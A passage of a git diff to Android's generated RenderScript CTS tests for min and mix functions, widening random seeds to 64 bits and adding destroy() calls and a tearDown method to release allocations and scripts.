     private void verifyResultsMinIntIntInt(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2549,13 +2680,14 @@
     }
 
     private void checkMinInt2Int2Int2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x13df0b41l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x13df0b42l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x4bc6c69713df0b41l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x4bc6c69713df0b42l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinInt2Int2Int2(inA, out);
             verifyResultsMinInt2Int2Int2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinInt2Int2Int2: " + e.toString());
         }
@@ -2564,9 +2696,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinInt2Int2Int2(inA, out);
             verifyResultsMinInt2Int2Int2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinInt2Int2Int2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinInt2Int2Int2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2627,13 +2762,14 @@
     }
 
     private void checkMinInt3Int3Int3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xdeb4532al, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xdeb4532bl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x58ac4a91deb4532al, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x58ac4a91deb4532bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinInt3Int3Int3(inA, out);
             verifyResultsMinInt3Int3Int3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinInt3Int3Int3: " + e.toString());
         }
@@ -2642,9 +2778,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinInt3Int3Int3(inA, out);
             verifyResultsMinInt3Int3Int3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinInt3Int3Int3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinInt3Int3Int3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2705,13 +2844,14 @@
     }
 
     private void checkMinInt4Int4Int4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xa9899b13l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xa9899b14l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x6591ce8ca9899b13l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x6591ce8ca9899b14l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinInt4Int4Int4(inA, out);
             verifyResultsMinInt4Int4Int4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinInt4Int4Int4: " + e.toString());
         }
@@ -2720,9 +2860,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinInt4Int4Int4(inA, out);
             verifyResultsMinInt4Int4Int4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinInt4Int4Int4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinInt4Int4Int4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2789,13 +2932,14 @@
     }
 
     private void checkMinUintUintUint() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xde387ca0l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xde387ca1l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xe66a5218de387ca0l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xe66a5218de387ca1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUintUintUint(inA, out);
             verifyResultsMinUintUintUint(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUintUintUint: " + e.toString());
         }
@@ -2804,9 +2948,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUintUintUint(inA, out);
             verifyResultsMinUintUintUint(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUintUintUint: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUintUintUint(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2867,13 +3014,14 @@
     }
 
     private void checkMinUint2Uint2Uint2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xbd9009a2l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0xbd9009a3l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x51b17a26bd9009a2l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x51b17a26bd9009a3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUint2Uint2Uint2(inA, out);
             verifyResultsMinUint2Uint2Uint2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUint2Uint2Uint2: " + e.toString());
         }
@@ -2882,9 +3030,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUint2Uint2Uint2(inA, out);
             verifyResultsMinUint2Uint2Uint2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUint2Uint2Uint2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUint2Uint2Uint2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -2945,13 +3096,14 @@
     }
 
     private void checkMinUint3Uint3Uint3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x1c2f1a71l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x1c2f1a72l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x7765fa101c2f1a71l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x7765fa101c2f1a72l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUint3Uint3Uint3(inA, out);
             verifyResultsMinUint3Uint3Uint3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUint3Uint3Uint3: " + e.toString());
         }
@@ -2960,9 +3112,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUint3Uint3Uint3(inA, out);
             verifyResultsMinUint3Uint3Uint3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUint3Uint3Uint3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUint3Uint3Uint3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3023,13 +3178,14 @@
     }
 
     private void checkMinUint4Uint4Uint4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x7ace2b40l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x7ace2b41l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x9d1a79f97ace2b40l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x9d1a79f97ace2b41l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUint4Uint4Uint4(inA, out);
             verifyResultsMinUint4Uint4Uint4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUint4Uint4Uint4: " + e.toString());
         }
@@ -3038,9 +3194,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUint4Uint4Uint4(inA, out);
             verifyResultsMinUint4Uint4Uint4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUint4Uint4Uint4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUint4Uint4Uint4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3107,13 +3266,14 @@
     }
 
     private void checkMinLongLongLong() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0xde2e29eel, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0xde2e29efl, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x1e87c507de2e29eel, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 1, 0x1e87c507de2e29efl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinLongLongLong(inA, out);
             verifyResultsMinLongLongLong(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLongLongLong: " + e.toString());
         }
@@ -3122,9 +3282,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinLongLongLong(inA, out);
             verifyResultsMinLongLongLong(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLongLongLong: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinLongLongLong(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3185,13 +3348,14 @@
     }
 
     private void checkMinLong2Long2Long2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x7154fcb8l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x7154fcb9l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x5a1aed657154fcb8l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x5a1aed657154fcb9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinLong2Long2Long2(inA, out);
             verifyResultsMinLong2Long2Long2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLong2Long2Long2: " + e.toString());
         }
@@ -3200,9 +3364,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinLong2Long2Long2(inA, out);
             verifyResultsMinLong2Long2Long2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLong2Long2Long2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinLong2Long2Long2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3263,13 +3430,14 @@
     }
 
     private void checkMinLong3Long3Long3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xcff40d87l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xcff40d88l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x7fcf6d4ecff40d87l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x7fcf6d4ecff40d88l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinLong3Long3Long3(inA, out);
             verifyResultsMinLong3Long3Long3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLong3Long3Long3: " + e.toString());
         }
@@ -3278,9 +3446,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinLong3Long3Long3(inA, out);
             verifyResultsMinLong3Long3Long3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLong3Long3Long3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinLong3Long3Long3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3341,13 +3512,14 @@
     }
 
     private void checkMinLong4Long4Long4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x2e931e56l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x2e931e57l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xa583ed382e931e56l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xa583ed382e931e57l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinLong4Long4Long4(inA, out);
             verifyResultsMinLong4Long4Long4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLong4Long4Long4: " + e.toString());
         }
@@ -3356,9 +3528,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinLong4Long4Long4(inA, out);
             verifyResultsMinLong4Long4Long4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinLong4Long4Long4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinLong4Long4Long4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3425,13 +3600,14 @@
     }
 
     private void checkMinUlongUlongUlong() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x3e23ed8dl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x3e23ed8el, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x21750b943e23ed8dl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 1, 0x21750b943e23ed8el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 1), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUlongUlongUlong(inA, out);
             verifyResultsMinUlongUlongUlong(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlongUlongUlong: " + e.toString());
         }
@@ -3440,9 +3616,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUlongUlongUlong(inA, out);
             verifyResultsMinUlongUlongUlong(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlongUlongUlong: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUlongUlongUlong(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3503,13 +3682,14 @@
     }
 
     private void checkMinUlong2Ulong2Ulong2() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x6c4dc5dfl, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x6c4dc5e0l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xd739efe16c4dc5dfl, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xd739efe16c4dc5e0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUlong2Ulong2Ulong2(inA, out);
             verifyResultsMinUlong2Ulong2Ulong2(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlong2Ulong2Ulong2: " + e.toString());
         }
@@ -3518,9 +3698,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUlong2Ulong2Ulong2(inA, out);
             verifyResultsMinUlong2Ulong2Ulong2(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlong2Ulong2Ulong2: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUlong2Ulong2Ulong2(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3581,13 +3764,14 @@
     }
 
     private void checkMinUlong3Ulong3Ulong3() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x6e2bc780l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x6e2bc781l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x2b9ece016e2bc780l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x2b9ece016e2bc781l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUlong3Ulong3Ulong3(inA, out);
             verifyResultsMinUlong3Ulong3Ulong3(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlong3Ulong3Ulong3: " + e.toString());
         }
@@ -3596,9 +3780,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUlong3Ulong3Ulong3(inA, out);
             verifyResultsMinUlong3Ulong3Ulong3(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlong3Ulong3Ulong3: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUlong3Ulong3Ulong3(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
@@ -3659,13 +3846,14 @@
     }
 
     private void checkMinUlong4Ulong4Ulong4() {
-        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x7009c921l, false);
-        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x7009c922l, false);
+        Allocation inA = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x8003ac217009c921l, false);
+        Allocation inB = createRandomAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x8003ac217009c922l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.set_gAllocInB(inB);
             script.forEach_testMinUlong4Ulong4Ulong4(inA, out);
             verifyResultsMinUlong4Ulong4Ulong4(inA, inB, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlong4Ulong4Ulong4: " + e.toString());
         }
@@ -3674,9 +3862,12 @@
             scriptRelaxed.set_gAllocInB(inB);
             scriptRelaxed.forEach_testMinUlong4Ulong4Ulong4(inA, out);
             verifyResultsMinUlong4Ulong4Ulong4(inA, inB, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMinUlong4Ulong4Ulong4: " + e.toString());
         }
+        inA.destroy();
+        inB.destroy();
     }
 
     private void verifyResultsMinUlong4Ulong4Ulong4(Allocation inA, Allocation inB, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.java
index 7978f3a..f303a31 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestMix.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestMixRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloatFloat {
         public float inStart;
         public float inStop;
@@ -45,15 +52,16 @@
     }
 
     private void checkMixFloatFloatFloatFloat() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x471d6db1l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb4422e8fl, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc6a51d9fl, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9f4beff6471d6db1l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6ede0b88b4422e8fl, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x6d2f014ec6a51d9fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloatFloatFloatFloat(inStart, out);
             verifyResultsMixFloatFloatFloatFloat(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloatFloatFloatFloat: " + e.toString());
         }
@@ -63,9 +71,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixFloatFloatFloatFloat(inStart, out);
             verifyResultsMixFloatFloatFloatFloat(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloatFloatFloatFloat: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloatFloatFloatFloat(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -134,15 +146,16 @@
     }
 
     private void checkMixFloat2Float2Float2Float2() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xa2d9ce9l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x5395e837l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x621e0ac7l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x45502e8f0a2d9ce9l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xba2b8a035395e837l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe56bef3c621e0ac7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloat2Float2Float2Float2(inStart, out);
             verifyResultsMixFloat2Float2Float2Float2(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat2Float2Float2Float2: " + e.toString());
         }
@@ -152,9 +165,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixFloat2Float2Float2Float2(inStart, out);
             verifyResultsMixFloat2Float2Float2Float2(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat2Float2Float2Float2: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloat2Float2Float2Float2(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -223,15 +240,16 @@
     }
 
     private void checkMixFloat3Float3Float3Float3() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x26b009c5l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x249ee4cbl, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xb0d4f51bl, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xeb4701726b009c5l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9b21f6b3249ee4cbl, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf15862eab0d4f51bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloat3Float3Float3Float3(inStart, out);
             verifyResultsMixFloat3Float3Float3Float3(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat3Float3Float3Float3: " + e.toString());
         }
@@ -241,9 +259,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixFloat3Float3Float3Float3(inStart, out);
             verifyResultsMixFloat3Float3Float3Float3(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat3Float3Float3Float3: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloat3Float3Float3Float3(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -312,15 +334,16 @@
     }
 
     private void checkMixFloat4Float4Float4Float4() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x433276a1l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf5a7e15fl, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xff8bdf6fl, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd818b19f433276a1l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7c186362f5a7e15fl, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfd44d698ff8bdf6fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloat4Float4Float4Float4(inStart, out);
             verifyResultsMixFloat4Float4Float4Float4(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat4Float4Float4Float4: " + e.toString());
         }
@@ -330,9 +353,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
